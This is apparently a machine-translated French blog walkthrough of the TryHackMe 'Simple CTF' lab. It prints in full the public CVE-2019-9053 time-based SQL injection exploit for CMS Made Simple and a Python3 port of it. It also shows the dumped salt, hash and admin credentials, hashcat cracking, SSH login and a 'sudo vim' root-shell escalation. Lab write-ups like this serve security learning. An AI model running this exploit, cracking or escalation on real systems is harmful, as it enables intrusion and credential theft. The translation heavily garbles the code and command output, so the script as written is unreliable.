[CVE-2019-9053] J'ai essayé de le pirater en utilisant la vulnérabilité d'injection SQL dans CMS rendue simple! (Python3)

[CVE-2019-9053] J'ai essayé de le pirater en utilisant la vulnérabilité d'injection SQL dans CMS rendue simple! (Python3)

Cette fois, nous profiterons du CVE-2019-9053: CMS a fait la vulnérabilité de l'injection SQL de Simple pour infiltrer la machine cible et même dégénérer les privilèges.
La machine cible utilise https://tryhackme.com/room/easyctf

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

CTF simple

Tout d'abord, sélectionnez Démarrer la machine et déployez la machine cible.

C'est OK si l'adresse IP s'affiche comme indiqué ci-dessous.

Combien de services fonctionnent sous le port 1000?

Combien de services fonctionnent sur des ports inférieurs à 1000? On vous demande, alors regardons-le sur NMAP.

  • -SV: Détection du service et de la version
  • -SC: scanner avec le script par défaut.
  • -SS: TCP Syn Scan / TCP Half Scan (il n'est souvent pas enregistré car il ne renvoie pas un ACK lors de la fin d'une connexion, mais renvoie un SYNR RST et annule la connexion sans la terminer)
root @ ip-10-10-242-201: ~ # # nmap -sv -sc -ss 10.10.25.17 Démarrage NMAP 7.60 (https://nmap.org) au 2023-05-27 05:28 BST NMAP SCAN RAPPORT pour IP-10-10-25-17.EU-west-1.Compute.internal (10.10.25 latence). Non illustré: 997 Ports filtrés Port State Service Version 21 / TCP Open FTP VSFTPD 3.0.3 | FTP-ANON: ANONYME FTP Login Autorisé (FTP Code 230) | _Can't Get Directory Listing: Timeout | FTP-SYST: | STAT: | État du serveur FTP: | Connecté à :: FFFF: 10.10.242.201 | Connecté en tant que FTP | Type: ASCII | Aucune limite de bande passante de session | Le délai de session en secondes est de 300 | La connexion de contrôle est un texte brut | Les connexions de données seront en texte brut | Au démarrage de la session, le nombre de clients était de 2 | VSFTPD 3.0.3 - Sécurisé, rapide, stable | _end de l'état 80 / TCP ouvert http apache httpd 2.4.18 ((ubuntu)) | http-robots.txt: 2 entrées refoulées | _ / / openemr-5_0_1_3 | _http-server-header: apache / 2.4.18 (ubuntu) | _http-title: apache2 ubuntu par défaut Page: il fonctionne 2222 / tcp open ssh openssh 7.2p2 ubuntu 4ubuntu2 Linux; protocole 2.0) | SSH-HOSTKEY: | 2048 29: 42: 69: 14: 9E: CA: D9: 17: 98: 8C: 27: 72: 3A: CD: A9: 23 (RSA) | 256 9b: D1: 65: 07: 51: 08: 00: 61: 98: De: 95: Ed: 3a: E3: 81: 1C (ECDSA) | _ 256 12: 65: 1B: 61: CF: 4D: E5: 75: Fe: F4: E8: D4: 6E: 10: 2A: F6 (EDDSA) Mac Adder: Mac Adder: Mac Cadress: 2e: 10: 2a: F6 (eddsa) Mac Adad: Mac Adresse: 6e: 10: 2a: F6 (EDDSA) Mac Ajoute: MAC ASSAD: MAC ADESSA 02: 6B: 87: 7C: 52: A7 (inconnu) Info de service: OSS: Unix, Linux; CPE: CPE: / O: Linux: Linux_Kernel Service Detection effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP FAIT: 1 adresse IP (1 hôte) scanné en 53,55 secondes

Les trois services détectés étaient les suivants:

  • 21: FTP
  • 80: http
  • 2222: SSH

Répondre

Il s'avère qu'il existe deux services en moins de 1000.

Qu'est-ce qui fonctionne sur le port plus élevé?

On leur demande ce qui fonctionne sur les ports de plus de 1000, donc à partir des résultats de NMAP ci-dessus, nous pouvons voir qu'il est "SSH". (Notez que SSH n'est pas le numéro 22.)

Répondre

Quel est le CVE que vous utilisez contre l'application?

On leur a demandé quel type de vulnérabilités ils ont.
Pour l'instant, HTTP est ouvert, alors voyons ce que c'est dans Gobuster.

root @ ip-10-10 Qu'est-ce qui fonctionne sur le port supérieur? -242-201: ~ # gobuster dir -e -u http://10.10.25.17 -w /usr/share/dirb/wordlists/common.txt ==== gobuster v3.0.1 par OJ Reeves (@TheColonial) & Christian MehlMauer (@_fart_) ==== [+] URL: http://10.10.25.17 [+] Threads: 10 [+] WordList: /usr/share/dirb/Wordlists/Common.txt [+] Status Codes: 200,204,301,302,307,401,403 [+] Agent utilisateur: GoBuster / 3.0.1 [+] Extension: TRUE [+] Timeout: GoBuster / 3.0.1 [+] Extension: TRUE [+] Tiver: 10.Uss: GoBuster / 3.0.1 [+] ==== 2023/05/27 05:49:38 Démarrer Gobuster ==== http://10.10.25.17/.hta (statut: 403) http://10.10.25.17/.htpasswd (statut: 403) http://10.10.25.17/.htaccess (Status: 403) http://10.10.25.17/index.html (statut: 200) http://10.10.25.17/robots.txt (statut: 200) http://10.10.25.17/server-status (statut: 403) http://10.10.25.17/simple (Status: 301) === 2023/05/27 05:49:40 fini ====

Je pense que celui qui a l'air suspect est "http://10.10.25.17/simple".
Je vais jeter un œil un peu.

Il semble que "CMS a fait la version 2.2.8 simple".
Je vais examiner cela pour voir s'il y a des vulnérabilités.

Après avoir cherché une vulnérabilité dans CMS rendue simple 2.2.8 sur Exploit DB, j'ai constaté que " CVE-2019-9053 " était capturé.

Répondre

À quel type de vulnérabilité l'application est-elle vulnérable?

Il s'agit d'une injection SQL après avoir examiné le contenu de CVE-2019-9053.

Répondre

Je ne savais pas comment l'écrire, donc ça va. . .

Quel est le mot de passe?

On vous demande votre mot de passe, alors essayez de l'exécuter comme indiqué dans Exploit DB.
Cela ressemble à Python, donc je vais télécharger le fichier.

root @ ip-10-10-242-201: ~ # wget https://www.exploit-db.com/download/46635 -o exploit.py --2023-05-27 06: 27: 37-- https://www.exploit-db.com/download/46635 Resolving www.expoit (www.exploit-db.com) ... 192.124.249.13 Connexion à www.exploit-db.com (www.exploit-db.com) | 192.124.249.13 |: 443 ... connecté. Demande http envoyée, en attente de réponse ... 200 ok longueur: 6456 (6.3k) [application / txt] Enregistrement vers: \ u2018exploit.py \ u2019 exploit.py 100% [====>] 6.30k --.- kb / s dans 0s 2023-05-27 06:27:37 (140 ° MB / S) - - \ u2018Exploit.py \ u2019 enregistré [6456/6456]

Le contenu du code ressemble à ceci: une explication détaillée sera omise ici.

root @ ip-10-10-242-201: ~ # Cat exploit.py #! / usr / bin / env python # Exploit Titre: injection SQL non authentifiée sur CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Auteur de l'exploit: Daniele Scanu @ Certimeter Group # Vendor HomePage: HTTPS://www.cmades. # Lien logiciel: https://www.cmsmadesimple.org/downloads/cmsms/ # version: <= 2.2.9 # testé sur: les demandes d'importation Ubuntu 18.04 # cve: cve-2019-9053 Les demandes d'importation à TermColor Importation d'import optparse.optionParser () parser.add_option ('- u', '--url', action = "store", dest = "url", help = "Base Target uri (ex. http://10.10.10.100/cms)") parser.add_option ('- w', '- wordlist', action = "store", dest = "Wordlist", pour la liste de word = " Mot de passe de crack admin ") parser.add_option ('- c', '--crack', action =" store_true ", dest =" cracking ", help =" crack mot de passe avec wordlist ", default = false) Options, args = parser.parse_args () Si pas des options.Url: imprimer" [+] spécifier une cible URL "imprimer" [+] Exemple d'exemple (Exemple de usage (non-suivi de mot de passe): EXPLOI http: // cible-uri "print" [+] Exemple utilisation (avec mot de passe de crack): exploit.py -u http: // cible-uri --crack -w / path-wordlist "print" [+] configurer le temps variable avec un temps approprié, car cette injection SQL est basée sur le temps. " exit () url_vuln = options.url + '/moduleinterface.php?mact=news,m1_,default,0' session = requêtes.sse () dictionary = '1234567890qwertyipasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm @. "" temp_password = "" time = 1 db_name = "" output = "" email = "" sal hashlib.md5 (str (sel) + ligne) .hexdigest () == mot de passe: output + = "\ n [+] mot de passe fissuré:" + line break dict.close () def Beauty_print_try (valeur): la sortie globale imprimer "\ 033c" cprint (output, 'Green', attrs = ['Bold']) Cprint ('[*] Try:' + Value, ',', ',', bold ']) Cprint (' '[*] Try:' + Value, ',', ',', Bold ']) Cprint (' '[*] Try:' + Value, ',', ', Red', » attRrs = ['bold']) def Beauty_print (): Impression de sortie globale "\ 033C" Cprint (sortie, 'Green', attrs = ['Bold']) def Dump_salt (): Global Flag Global Salt Sorput Ord_Salt = "" ORD_SALT_TEMP = "" While Flag: Flag = False pour I In Range (0, Len (Dictionary)): Temp_ dictionnaire [i] ord_salt_temp = ord_salt + hex (ord (dictionary [i])) [2:] beey_print_try (temp_salt) upload = "a, b, 1,5)) + et + (select + sleep (" + str (time) + ") + from + cms_siteprefs + where + sitepref_valuue + + 0x" ORD_SALT_TEMP + "25 + et + SiTePref_Name + Like + 0x736974656D61736B) + - +" url = url_vuln + "& m1_idlist =" + wayload start_time = time.time () r = session.get (url) elapsed_time = time.time () - start_time if elapsed_time: elapsed_time. Flag: Salt = temp_salt ORD_SALT = ORD_SALT_TEMP Flag = True Output + = '\ n [+] Salt pour le mot de passe trouvé:' + Salt Def Dump_password (): Flag global Mot de passe global Sortie globale ORD_PASSWORD = "" ORD_PASSWORD_TEMP = "" While Flag = False for i In plant ord_password_temp = ord_password + hex (ord (dictionary [i])) [2:] Beauty_print_try (temp_password) upload = "a, b, 1,5)) + et + (select + sleep (" + str (time) + ") + from + cms_users" wayload + = "+ where + mot de passe + + 0x" + ord_pass_tremp + = wherse + mot de passe + + 0x "+ ord_pass_tremp + = wherswpass + like + 0x" + ord_passwword_Temp + "25 + et + user_id + like + 0x31) + - +" url = url_vuln + "& m1_idlist =" + upload start_time = time.time () r = session.get (url) elapsed_time = time.time () + = '\ n [+] Mot de passe trouvé:' + mot de passe def dump_username (): Global Flag Global DB_NAME Global Sortie ORD_DB_NAME = "" ORD_DB_NAME_TEMP = "" While Flag: Flag = False pour I dans Range (0, Len (Dictionary)): temp_db_name = db_name + dictionary [i] ORD_DB_NAME + hex (ord (dictionary [i])) [2:] beey_print_try (temp_db_name) upload = "a, b, 1,5)) + et + (select + sleep (" + str (time) + ") + from + cms_users + where + username + like + 0x" + ord_db_name_tem + "25 + et + user_id + like + 0x31) +" UrlL + " = url_vuln + "& m1_idlist =" + upload start_time = time.time () r = session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: file DB_NAME Flag = True Def Dump_email (): Flag global e-mail mondial Ord_email = "" ORD_EMAIL_TEMP = "" While Flag: Flag = False for i in Range (0, Len (Dictionary)): temp_email = e-mail + dictionnaire [i] ORD_EMAIL_TEMP = ORD_EMAIL + HEX (ORD (Dictionary [i])) [2:] Payload = "A, B, 1,5))) + et + (Select + Sleep (" + Str (Time) + ") + FROM + CMS_USERS + WHERE + Email + Like + 0x" + Ord_Email_Temp + "25 + et + User_id + Like + 0x31) + - +" url = url_vuln + "& m1_idList =" + Payload start_time = time. elapsed_time = time.time () - start_time if elapsed_time> = time: Flag = true Break if Flag: email = temp_email ord_email = ord_email_temp sort + = '\ n [+] e-mail trouvé:' + e-mail file crack_password () beauté_print ()

Dans mon environnement, cela ne fonctionne que Python3, donc je vais réécrire un peu le code. (Non requis pour Python2.)
Les pièces d'impression et de codage sont soumises à la modification.

  • Imprimez «» ⇒print («»)
  • Ouvrir (Wordlist) ⇒ Ouvrir (Wordlist, Encoding = ”UTF-8 ″, errors =” ignore ”)
  • hashlib.md5 (str (Salt) + line) .hexdigest () ⇒ hashlib.md5 ((str (sel) + line) .encode («utf-8»)). hexdigest ().
┌── (root㉿kali) - [~] └─ # Cat exploit.py #! / Usr / bin / env python # Exploit Titre: injection SQL non authentifiée sur CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Auteur: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # lien logiciel: https://www.cmsmadesimple.org/downloads/cmsms/ # version: <= 2.2.9 # testé sur: Ubuntu 18.04 LTS # cve: cve-2019-9053 Les demandes d'importation de Termcolor OptParse Import Hashlib Parser = optParse.optionParser () parser.add_option ('- u', '--url', action = "store", dest = "url", help = "Base Target Uri (ex. http://10.10.100.100/cms)") ", areser.add_option. dest = "wordlist", help = "wordlist for crack admin mot mot de passe") parser.add_option ('- c', '--crack', action = "store_true", dest = "cracking", help = "crack mot de passe avec wordlist", default = false), args = parser.parse_args () if options. Cracking Motword): exploit.py -u http: // cible-uri ") print (" [+] Exemple d'utilisation (avec le mot de passe de fissuration): exploit.py -u http: // cible-uri --crack -w / path-wordlist ") print (" [+] configurer le temps variable avec un temps approprié, car cette injour sql est un temps basé sur le temps. ") '/moduleInterface.php?mact=news,m1_,default,0' session = requands.session () dictionary = '1234567890qwertyipasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm @ ._- $' drape = true motword = "" "" db_name = "" output = "" email = "" salin = '' wordList = "" if options.wordlist: wordList + = options.wordlist def crack_password (): mot de passe global outpose global wordlist salin dict = open (wordlist, encoding = "utf-8", errers = "ignore") pour la ligne dans dict.readlines (): line = line.replace ("\ n") Beauty_print_try (ligne) if hashlib.md5 ((str (Salt) + line) .encode ("utf-8")). hexdigest () == mot de passe: output + = "\ n [+] mot de passe:" + line casse dict.close () def Beauty_Print_ry (valeur): "BLOPS) cprint ('[*] essai:' + valeur, 'rouge', attrs = ['bold']) def beauty_print (): Global Output Print ("\ 033c") cprint (sortie globale, "vert ', outprs = [' bold ']) def dump_salt (): drapeau global Salt global Ord_salt =" Ord_Salt_Temp = "" Len (dictionnaire)): temp_salt = sel + dictionnaire [i] ord_salt_temp = ord_salt + hex (ord (dictionary [i])) [2:] Beauty_print_try (temp_salt) upload = "a, b, 1,5)) + et + (select + sleep (+ str (Time) + + ") + de + cms_siteprefs + où + SitePref_Value + Like + 0x" + Ord_Salt_Temp + "25 + et + SitePref_Name + Like + 0x736974656d61736b) + - +" Url = URL_VULN + "& m1_idList =" + Pay Tark Start_time = Time.) session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: Flag = true break if Flag: salt = temp_salt ord_salt = ord_salt_temp flag = true output + = '\ n [+] sel pour le mot de passe trouvé:' + saline def_password (): guide global de mot de passe global Ord_password = "" ORD_PASSWORD_TWORD_TOR Flag: Flag = false pour i dans la gamme (0, Len (dictionnaire)): temp_password = mot de passe + dictionnaire [i] ord_password_temp = ord_password + hex (ord (dictionary [i])) [2:] Beauty_print_try (Temp_password) Payload = "a, b, 1,5)) + et + (select + sleep (" + str (time) + + ") + From + cms_users" Payload + = "+ Where + Motword + Like + 0x" + Ord_Password_Temp + "25 + et + User_id + Like + 0x31) + - +" URL = url_vuln + "& m1_idlist =" + Payload start_time = time.Time () R = session.get) > = Time: Flag = True Break If Flag: Password = temp_password ORD_PASSWORD = ORD_PASSWORD_TEMP Flag = True Output + = '\ n [+] Mot de passe trouvé:' + mot de passe def Dump_Username (): Global Flag Global DB_NAME Global Output Ord_DB_NAME = "" ORD_DB_NAME_TEMP = "" While Flag: FLAG temp_db_name = db_name + dictionary [i] ord_db_name_temp = ord_db_name + hex (ord (dictionary [i])) [2:] Beauty_print_try (temp_db_name) Payload = "a, b, 1,5)) + et + (select + sleep (" + str (time) + ") + From + cms_users + where + username + like + 0x" + ord_db_name_temp + "25 + et + user_id + like + 0x31) + - +" url = url_vuln + "& m1_idlist =" + payload start_time = time.time () r = session.get (url) elapsed_time Temps: Flag = True Break if Flag: db_name = temp_db_name ORD_DB_NAME = ORD_DB_NAME_TEMP OUTRE + = '\ n [+] nom d'utilisateur trouvé:' + db_name flage = true def dump_email (): Flag global e-mail mondial Ord_email = "" Ord_Email = " Len (dictionnaire)): temp_email = e-mail + dictionnaire [i] ord_email_temp = ord_email + hex (ord (dictionary [i])) [2:] Beauty_print_try (temp_email) utile = "a, b, 1,5)) + et + (select + sleep (" + str (time) + ") + from + cms_usrs + where Ord_email_temp + "25 + et + user_id + like + 0x31) + - +" url = url_vuln + "& m1_idlist =" + upload start_time = time.time () r = session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: drap = true bris ORD_EMAIL_TEMP OUTPUT + = '\ n [+] Email trouvé:' + Email Flag = True Dump_Salt () Dump_Username () Dump_email () Dump_password () If Options.Cracking: print (colored ("[*] Essayez maintenant de crack")) crack_password () Beauty_Print ()

Maintenant que je l'ai fait corriger, essayons-le.
J'ai mis "rockyou.txt" directement sous le répertoire racine, mais veuillez spécifier un chemin tel que rockyou.txt qui se trouve dans votre environnement.

┌── (root㉿kali) - [~] └fique 0C01F4468BD75D7A84C7EB73846E8D96 [+] Mot de passe fissuré: Secret
  • Sel: 1dac0d92e9fa6bb2
  • Mot de passe (Hash): 0C01F4468BD75D7A84C7EB73846E8D96
  • Courriel: admin@admin.com
  • Nom d'utilisateur: Mitch
  • Mot de passe (texte brut): secret

J'ai mon nom d'utilisateur et mon mot de passe.

Soit dit en passant, si vous définissez -W, il craquera le mot de passe du hachage du sel et du mot de passe.
Vous pouvez obtenir des résultats similaires en craquant le hachage de sel et de mot de passe avec Hashcat, donc je pense que c'est une bonne idée de se souvenir également de cette méthode.

┌fiques (root㉿kali) - [~] └fique 3.0 + Debian Linux, Aucun + Asserts, Reloc, LLVM 13.0.1, SLEEF, Distro, POCL_DEBUG) - Plateforme # 1 [The POCL Project] ==== * Dispositif # 1: PTHREAD-INTEL (R) XEON (R) CPU E5-2676 V3 @ 2,40GHZ, 1441/2946 MB (512 MB ALLOCAT ALLOCAT, 1441/2946 2MCU Longueur de mot de passe minimum pris en charge par le noyau: 0 Longueur de mot de passe maximale prise en charge par le noyau: 31 Longueur de sel minimim pris en charge par le noyau: 0 longueur de sel maximale prise en charge par le noyau: 51 Hashs: 1 digests; 1 Digests uniques, 1 Bitmaps bitmaplexes uniques: 16 bits, 65536 Entrées, 0x0000ffff Mask, 262144 octets, 5/13 Règles de rotation: 1 Optimiseur appliqué: * Optimized-Kernel * Zero---Into * Precompute-Init * Early-SKIP * Not-Ireed Sweet * Interface * Single-Sash * Single-Salt Watchdog Rawdogwefto trouvé sur votre système. Watchdog: Température Abortez le déclenchement désactivé. Mémoire d'hôte requise pour cette attaque: 0 MB Cache de dictionnaire construit: * nom de fichier ..: /root/rockyou.txt * Mots de passe.: 14344391 * Bytes .....: 139921497 * Keyspace ..: 14344384 * Runtime ...: 2 Secs 0C01F4468BD75D7A84C7EB73846E8D96: 1DAC0D92E9FA6BB2: Secret Session .......: Hashcat Status .......: Cracked Hash.Mode ... 0C01F4468BD75D7A84C7EB73846E8D96: 1DAC0D92E9FA6BB2 TIME.PARTED ....: Sat 27 mai 07:36:41 2023 (0 Secs) Time.stimed ...: Sat May 27 07:36:41 2023 (0 Secs) Deviner.base ......: fichier (/root/rockyou.txt) deviner.Queue ......: 1/1 (100,00%) vitesse. # 1 ......: 8084 h / s (0,20 ms) @ accel: 256 boucles: 1 thr: 1 vec: 8 récupéré .......: 1/1 (100,00%) DIGSTS (total), 1/1 (100.00%) DIGESTS (NEW) PROGRANDE ...... 512/14344384 (0,00%) Rejeté ......: 0/512 (0,00%) Restore.point ....: 0/14344384 (0,00%) Resto 07:36:02 2023 Arrêt: Sat 27 mai 07:36:42 2023

Répondre

Où pouvez-vous vous connecter avec les détails obtenus?

L'ID utilisateur et le mot de passe obtenus peuvent être utilisés via SSH.

Répondre

Quel est l'indicateur d'utilisateur?

Connectez-vous via SSH pour obtenir l'indicateur utilisateur.

┌fiques (root㉿kali) - [~] └─ # ssh mitch@10.10.241.153 -p 2222 L'authenticité de l'hôte '[10.10.241.153]: 2222 ([10.10.241.153]: 2222)' ne peut pas être établie. ED25519 Empreinte digitale de clé est SHA256: iq4f0xcna5nnpnaufeqopvtbo8dojpchggMebebedq5g. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: ajouté en permanence '[10.10.241.153]: 2222' (ED25519) à la liste des hôtes connus. Mitch@10.10.241.153's Mot de passe: Bienvenue à Ubuntu 16.04.6 LTS (GNU / Linux 4.15.0-58-Generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * 0 Les mises à jour sont des mises à jour de sécurité. Dernière connexion: lun 19 août 18:13:41 2019 de 192.168.0.190 $ whoami mitch

Vous avez réussi à vous connecter à l'aide de SSH.
Je pense que j'ai pu trouver user.txt.

$ ls user.txt $ cat user.txt g00d j0b, continuez!

Répondre

Y a-t-il un autre utilisateur dans le répertoire domestique? Quel est son nom?

Il s'agit de ce qu'il y a d'autres utilisateurs.
Jetons un coup d'œil aux sous-contrôles de "/ Home".

$ ls / maison Mitch Sunbath

Il semble y avoir un utilisateur appelé Sun Bath.

Répondre

Que pouvez-vous exploiter pour engendrer une coquille privilégiée?

À partir de maintenant, nous allons intensifier nos privilèges.
Pour l'instant, utilisez Sudo -L pour voir ce que l'utilisateur actuel peut faire.

$ sudo -l L'utilisateur Mitch peut exécuter les commandes suivantes sur la machine: (root) nopasswd: / usr / bin / vim

Il semble que vous puissiez utiliser "/ usr / bin / vim" sans mot de passe.

Répondre

Quel est le drapeau racine?

Lorsque j'ai recherché dans GTFOBINS comment obtenir une coquille privilégiée dans VIM, j'ai trouvé ce qui suit:

Maintenant, obtenons un obus privilégié.

$ sudo vim -c ':! / bin / sh' # whoami root

A acquis avec succès un obus privilégié. L'élévation de l'autorité n'était pas une tâche facile.
Ici, root.txt est sous / root, alors vérifiez l'indicateur et vous avez terminé.

# cd / root # ls root.txt # chat root.txt w3ll d0n3. Vous l'avez fait!

Répondre

résumé

Cette fois, nous avons profité du CVE-2019-9053: CMS a fait une vulnérabilité d'injection SQL de Simple pour infiltrer la machine cible et même dégénérer les privilèges.

Le CTF simple s'adresse aux débutants, il y avait donc certaines parties qui ont été forcées de faire, mais je pense que c'était bien que je puisse le faire sans aucun effort.

Références et sites

Medium (Skylar): https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-through-e8bb8c8671a9

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières